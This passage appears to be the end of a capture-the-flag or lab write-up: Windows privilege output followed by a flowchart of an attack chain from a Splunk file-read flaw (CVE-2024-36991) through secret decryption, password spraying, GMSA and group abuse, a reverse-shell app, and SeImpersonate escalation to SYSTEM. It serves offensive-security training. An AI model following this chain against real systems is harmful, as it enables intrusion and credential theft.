SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilegeObtain an impersonation token for another user in the same sessionEnabled
Attack Path
flowchart TD subgraph "Initial Access" A(Splunk) -->|CVE-2024-36991| B(Read Local Files) B -->|Splunk Configuration| C(Encrypted Passwords & Secret) C -->|Decrypt Splunk Secrets| D(Access as paul.taylor) end subgraph "Privilege Escalation" D -->|Password Spraying| E(Shell as mark.adams) E -->|Modify GMSA| F(Access as HAZE-IT-BACKUP$) F -->|Modify Group for GenericAll| G(Shell as edward.martin) G -->|Access to Splunk backup| H(Encrypted Passwords & Secret) H -->|Decrypt Splunk Secrets| I(Access to Splunk Web UI) I -->|Deploy App with Reverse Shell| J(Shell as alexander.green) J -->|SeImpersonate| K(Shell as SYSTEM) end